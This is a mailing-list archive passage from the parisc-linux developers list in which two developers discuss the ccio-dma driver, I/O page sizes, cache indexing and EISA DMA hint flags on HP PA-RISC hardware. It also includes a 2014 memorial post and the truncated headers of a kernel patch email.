	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Voq0dS6ePZvW; Thu, 20 Dec 2007 12:11:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BD3F7F7BB;
	Thu, 20 Dec 2007 11:52:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 324317D426
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 05:48:48 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NAZz0+Uz32Ou for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 05:48:34 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CD2B27D417
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 05:48:34 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7EA98494009; Tue, 27 Nov 2007 05:48:35 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id B4954494006;
	Tue, 27 Nov 2007 05:48:34 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id lARCmWZ05866;
	Tue, 27 Nov 2007 13:48:32 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.46
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RIZcDpV7QEVtMujDZnVp4o5KNzg2NUKA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25484

> On Mon, Nov 26, 2007 at 09:48:48AM +0100, Joel Soete wrote:
> ...
> > > The 12-bits per page (4k pages) is hard wired for the PA1.1 machines.
> > >
> > Ok but paper spoke of pa7200 (pa1.1) _and_ pa8000 (afaik pa2.0), so aware of
> > new cpu capability, but my understanding is that I/O page size seems to me it
> > could be different then cpu page size and would be fixed to 4k because of
> > "Block ID" size of 12bits?
> 
> J/K first released with PA1.1. PA8000 (PA2.0) was release Jan 2006
>  (See http://www.openpa.net/pa-risc_processors.html#xu) and I think this
> paper was originally targeted at PA1.1. The reference to (12-bit) is probably
> just a "bug" in updating the paper for PA2.0.
> 
grr even thought I read well:
"[snip]
Hardware Implications
Cache memory is defined as a small, high-speed block of memory located close
to the processor. On the HP PA 7200 and PA8000 processors, a portion of the
software virtual address (called the virtual index) is used as the cache lookup.
[snip]"

That's what confusing me, sorry.

> > That said, paper only spoke of J/K model.
> > C1xx and Dxxx are model which looks like J but some subtitle difference could
> > exist.
> 
> C1XX is UP. Dxxx is _very_ similar to J (SMP and many of the same IO options).
> 
> > > Right. PA2.0 machines can support variable page sizes and parisc-linux
> > > has "almost working" support bigger page sizes.
> > >
> > What's up for hpux?
> 
> Can you be more specific?
> hpux definitely support variable page sizes 

Exactely what am I curious about ;-)

>(Look for "POP" == Performance
> Optimized Pagesize in HP literature in mid-late 1990's).
Ok I will have a look.

> But HPUX ccio driver
> continues to use 4K pages because the IO TLB can't change the page size
> for each TLB entry like the CPU TLB can.
Nice to know ;-)

>  AFAIK U2/U-Turn both are fixed
> on which page size the support. That would work fine with linux since we
> just increase the base page size (e.g. 16k or 64k pages for IA64).
> 
Well, reading further, even thought it seems to be 'programmable':
"[snip]
A second feature of this scheme is that it helps limit the overhead of the I/O
page directory. Recall that the I/O page directory contains all active address
translations and must be memory-resident. I/O page directory size is equal to
the size of one entry times 2^k, where k is the number of chain ID bits plus
the number of block ID bits. The division between the chain ID and the block
ID is programmable, as is the total number of bits (k), so software can reduce
the memory overhead of the I/O page directory for systems with smaller I/O
subsystems if we guarantee that the leading address bits are zero for these
smaller systems.
[snip]"

That said I discover a difference between my d380 and c110 config:
for c110 no CONFIG_EISA support,
for d380 CONFIG_EISA yes

which is in fact a hack like mentioned in comments:
/*
** DMA "Page Type" and Hints
[snip]
** o STOP_MOST is needed for atomicity across cachelines.
**   Apparently only "some EISA devices" need this.
**   Using CONFIG_ISA is hack. Only the IOA with EISA under it needs
**   to use this hint iff the EISA devices needs this feature.
**   According to the U2 ERS, STOP_MOST enabled pages hurt performance.
[snip]
**
** FIXME: the default hints need to be per GSC device - not global.
**
** HP-UX dorks: linux device driver programming model is totally different
**    than HP-UX's. HP-UX always sets HINT_PREFETCH since it's drivers
**    do special things to work on non-coherent platforms...linux has to
**    be much more careful with this.
*/
#define IOPDIR_VALID    0x01UL
#define HINT_SAFE_DMA   0x02UL  /* used for pci_alloc_consistent() pages */
#ifdef CONFIG_EISA
#define HINT_STOP_MOST  0x04UL  /* LSL support */
#else
#define HINT_STOP_MOST  0x00UL  /* only needed for "some EISA devices" */
#endif
#define HINT_UDPATE_ENB 0x08UL  /* not used/supported by U2 */
#define HINT_PREFETCH   0x10UL  /* for outbound pages which are not SAFE */
[snip]"

So make a difference in HINT_STOP_MOST value.
Anyway, may be could it help to delay also a bit issue on c110 as on d380 (may
be enough to re-install the system?)

That siad, the above mentioned paper spoke about "Atomic or locked mode": is
it this HINT_STOP_MOST which enable this mode?


> > > > # while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; nice -n
> > > > -3 rm -rf linux-2.6.11-rc3-pa3 ; date ; done
> > >
> > > Sorry...same questions again:
> > > 	SMP or UP kernel?
> > Sorry UP only (one pb at a time)
> > [that said, my personal experiments with linux kernel (as well as hppa as
> > i386) don't make me expect a lot of smp stuff]
> > 
> > > 	Which kernel version?
> > >
> > Currently 2.6.23-pa (kyle's pa git tree)
> > (but pb was there since the beginning of 2.6. IIRC I made only very few test
> > with 2.4)
> 
> hrm. ok...I'll try the same on one of my a500's and see if that's
> reproduceable there as well.
> 
What's your idea (afaik a500 didn't use ccio nor ncr53c720)?

Thanks again,
    J.
> hth,
> grant
> 
> 
---
Pack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EUR 29,95...
http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Tue, 27 Nov 2007 14:47:43 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <20071127214743.GA12804@colo.lackof.org>
References: <JS60WW$8607DD1A85ED3939F455D3059DCDCF43@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624654 28617 80.91.229.3 (22 Nov 2014 02:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:16:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 20 Dec 2007 20:16:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EA017D538;
	Thu, 20 Dec 2007 12:16:04 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NLx3a0aY2MoI; Thu, 20 Dec 2007 12:16:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06A9F7F7D0;
	Thu, 20 Dec 2007 11:57:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 193DE7D428
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 14:48:10 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9nP9M6IV-3-F for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 14:47:57 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D055E7D427
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 14:47:57 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id AAFF349400A; Tue, 27 Nov 2007 14:48:00 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 7C070494003
	for <parisc-linux@parisc-linux.org>;
	Tue, 27 Nov 2007 14:48:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6DADE6F8002;
	Tue, 27 Nov 2007 14:47:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13213-04; Tue, 27 Nov 2007 14:47:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1A5D43381FD; Tue, 27 Nov 2007 14:47:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JS60WW$8607DD1A85ED3939F455D3059DCDCF43@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.5
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TYZZf1ULMmAobLSZZGFnZfUxMjQ1N90s
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25485

On Tue, Nov 27, 2007 at 01:48:32PM +0100, Joel Soete wrote:
> grr even thought I read well:
> "[snip]
> Hardware Implications
> Cache memory is defined as a small, high-speed block of memory located close
> to the processor. On the HP PA 7200 and PA8000 processors, a portion of the
> software virtual address (called the virtual index) is used as the cache lookup.
> [snip]"
> 
> That's what confusing me, sorry.

You need to read about "VIVT" caches (Virtual Indexed, Virtual Tagged).
The "Virtual Index" bits have to be provided by any cache coherent traffic
in order to be cache coherent. That's how the caches know _where_ in the
cache to find potential hits for a given cacheline.

...
> >  AFAIK U2/U-Turn both are fixed
> > on which page size the support. That would work fine with linux since we
> > just increase the base page size (e.g. 16k or 64k pages for IA64).
> >
> Well, reading further, even thought it seems to be 'programmable':
> "[snip]
> A second feature of this scheme is that it helps limit the overhead of the I/O
> page directory. Recall that the I/O page directory contains all active address
> translations and must be memory-resident. I/O page directory size is equal to
> the size of one entry times 2^k, where k is the number of chain ID bits plus
> the number of block ID bits. The division between the chain ID and the block
> ID is programmable, as is the total number of bits (k), so software can reduce
> the memory overhead of the I/O page directory for systems with smaller I/O
> subsystems if we guarantee that the leading address bits are zero for these
> smaller systems.
> [snip]"
> 
> That said I discover a difference between my d380 and c110 config:
> for c110 no CONFIG_EISA support,
> for d380 CONFIG_EISA yes

EISA introduces a different IOMMU that we haven't written any code for.
We need the "WAX ERS" IIRC.
parisc-linux currently does not support DMA by EISA devices.

...
> So make a difference in HINT_STOP_MOST value.
> Anyway, may be could it help to delay also a bit issue on c110 as on d380 (may
> be enough to re-install the system?)

You can try it and see if it helps.
I don't have U2/U-Turn ERS anymore and thus can not review
the original source of information.

> That siad, the above mentioned paper spoke about "Atomic or locked mode": is
> it this HINT_STOP_MOST which enable this mode?

Sorry - I don't know. My guess is the ERS probably has that info.


...
> What's your idea (afaik a500 didn't use ccio nor ncr53c720)?

You mean "Why test on a500 given A500 doesn't use ccio"?
Just to make sure it's not a generic problem.

In general, I was expecting James Bottomley to have seen issues
with ccio when testing on his C360 (in the past, not recently).

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Wed, 28 Nov 2007 09:25:51 +0100
Lines: 106
Approved: news@gmane.org
Message-ID: <JS7JF3$B26560F4AD894A9D4B4501FF960EB990@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624655 28622 80.91.229.3 (22 Nov 2014 02:50:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:55 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:22:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 20 Dec 2007 20:22:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C6E27F7EB;
	Thu, 20 Dec 2007 12:22:20 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4PpCOdlgr-xV; Thu, 20 Dec 2007 12:22:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E9617F7EC;
	Thu, 20 Dec 2007 12:02:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C60547D428
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Nov 2007 01:26:11 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id euDYJs5YyS8m for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Nov 2007 01:25:57 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8C24F7D427
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Nov 2007 01:25:57 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 35A6E49400A; Wed, 28 Nov 2007 01:26:00 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 5AC3E494003;
	Wed, 28 Nov 2007 01:25:58 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by guri.is.scarlet.be  with ESMTP id lAS8Pv030549;
	Wed, 28 Nov 2007 09:25:58 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.48
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uYQgABVYa2A6a7vDOHQyi+AyOWhhakdQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25486

> On Tue, Nov 27, 2007 at 01:48:32PM +0100, Joel Soete wrote:
> > grr even thought I read well:
> > "[snip]
> > Hardware Implications
> > Cache memory is defined as a small, high-speed block of memory located close
> > to the processor. On the HP PA 7200 and PA8000 processors, a portion of the
> > software virtual address (called the virtual index) is used as the cache
lookup.
> > [snip]"
> > 
> > That's what confusing me, sorry.
> 
> You need to read about "VIVT" caches (Virtual Indexed, Virtual Tagged).
> The "Virtual Index" bits have to be provided by any cache coherent traffic
> in order to be cache coherent. That's how the caches know _where_ in the
> cache to find potential hits for a given cacheline.
> 
For sure I need more reading but imho this paper is already clear on subject:
my understanding (in short terms) is that cpu cache entry should be the same
virtual address as DMA cache else it would need additional stuff to check
physical address, right?

> ...
> > >  AFAIK U2/U-Turn both are fixed
> > > on which page size the support. That would work fine with linux since we
> > > just increase the base page size (e.g. 16k or 64k pages for IA64).
> > >
> > Well, reading further, even thought it seems to be 'programmable':
> > "[snip]
> > A second feature of this scheme is that it helps limit the overhead of the I/O
> > page directory. Recall that the I/O page directory contains all active address
> > translations and must be memory-resident. I/O page directory size is equal to
> > the size of one entry times 2^k, where k is the number of chain ID bits plus
> > the number of block ID bits. The division between the chain ID and the block
> > ID is programmable, as is the total number of bits (k), so software can reduce
> > the memory overhead of the I/O page directory for systems with smaller I/O
> > subsystems if we guarantee that the leading address bits are zero for these
> > smaller systems.
> > [snip]"
> > 
> > That said I discover a difference between my d380 and c110 config:
> > for c110 no CONFIG_EISA support,
> > for d380 CONFIG_EISA yes
> 
> EISA introduces a different IOMMU that we haven't written any code for.
> We need the "WAX ERS" IIRC.
> parisc-linux currently does not support DMA by EISA devices.
> 
That's for this last reason that I disable it in the config of my c110 (but I
don't remember why I didn't reproduce it on the d380?)
 
> ...
> > So make a difference in HINT_STOP_MOST value.
> > Anyway, may be could it help to delay also a bit issue on c110 as on d380 (may
> > be enough to re-install the system?)
> 
> You can try it and see if it helps.
> I don't have U2/U-Turn ERS anymore and thus can not review
> the original source of information.
> 
The hp engineer who help us to maintain our park of hp9000 made a few effort
to look for ERS doc but without success.

> > That siad, the above mentioned paper spoke about "Atomic or locked mode": is
> > it this HINT_STOP_MOST which enable this mode?
> 
> Sorry - I don't know. My guess is the ERS probably has that info.
> 
No worry, I just continue to play with this driver because this is the only
type of box on which I can still play p-l :-)

> 
> ...
> > What's your idea (afaik a500 didn't use ccio nor ncr53c720)?
> 
> You mean "Why test on a500 given A500 doesn't use ccio"?
> Just to make sure it's not a generic problem.
> 
I guess but would like to be sure that well undertood ;-)

> In general, I was expecting James Bottomley to have seen issues
> with ccio when testing on his C360 (in the past, not recently).
> 
I remember to have some few feedback from jejb but don't remember if he could
reproduce this test?

> hth,
> grant
> 
> 
In the mean time I will continue my reading, ...

Many thanks for your attention,
    J.
---
Pack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EUR 29,95...
http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Dave Land RIP
Date: Sun, 30 Nov 2014 22:11:55 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <547B881B.1070509@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417381931 1657 80.91.229.3 (30 Nov 2014 21:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Nov 2014 21:12:11 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 30 22:12:02 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XvBmg-00040F-I1
	for glpp-linux-parisc@plane.gmane.org; Sun, 30 Nov 2014 22:11:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752099AbaK3VL6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Nov 2014 16:11:58 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:63575 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751900AbaK3VL5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Nov 2014 16:11:57 -0500
Original-Received: from [192.168.20.60] ([84.173.51.164]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MFgxF-1Xis7K2spJ-00EgQ7; Sun, 30 Nov 2014 22:11:55
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
X-Provags-ID: V03:K0:sP5x+mc38CczKFClHNURaj1Gwf/jPL3LbYSfjT2cIThjlXxBF2Q
 m7AeApk/GltOrCFWdQ/0EPfAUU4dhxhSdH1Kt/yCZV9I1dk84Hza87HvQOjmrP+zYJQIW0A
 18uTOhT5+oL+OzsJcAnm98GbEENIB8wxq8pPYLtTnlDnyyg0CU8gUqYNq/oM8zt3xtow0jZ
 y9SuLU6+uecwO+rqqsE1A==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25487>

Dear PA-RISC developers,

I was informed two days ago, that Dave Land passed away on Friday 21st November.
This made me very sad, since Dave had become a personal friend of mine since last year.
Dave gave me login to his PA-RISC servers to fix the SMP-boot problems and afterwards hosted our first debian buildd servers.
In our personal email exchanges I experienced Dave as a nice and friendly person.
Dave, you will be missed.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Tue, 02 Dec 2014 04:43:19 +0800
Lines: 88
Approved: news@gmane.org
Message-ID: <547CD2E7.7030100@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417466497 18894 80.91.229.3 (1 Dec 2014 20:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2014 20:41:37 +0000 (UTC)
Cc: "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	minchan@kernel.org, "rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"jcmvbkbc@gmail.com" <jcmvbkbc@gmail.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Dec 01 21:41:29 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XvXmh-0001Z5-Un
	for lnx-linux-alpha@plane.gmane.org; Mon, 01 Dec 2014 21:41:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932373AbaLAUl0 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 1 Dec 2014 15:41:26 -0500
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]:46320 "EHLO
	mail-pa0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932158AbaLAUlZ (ORCPT
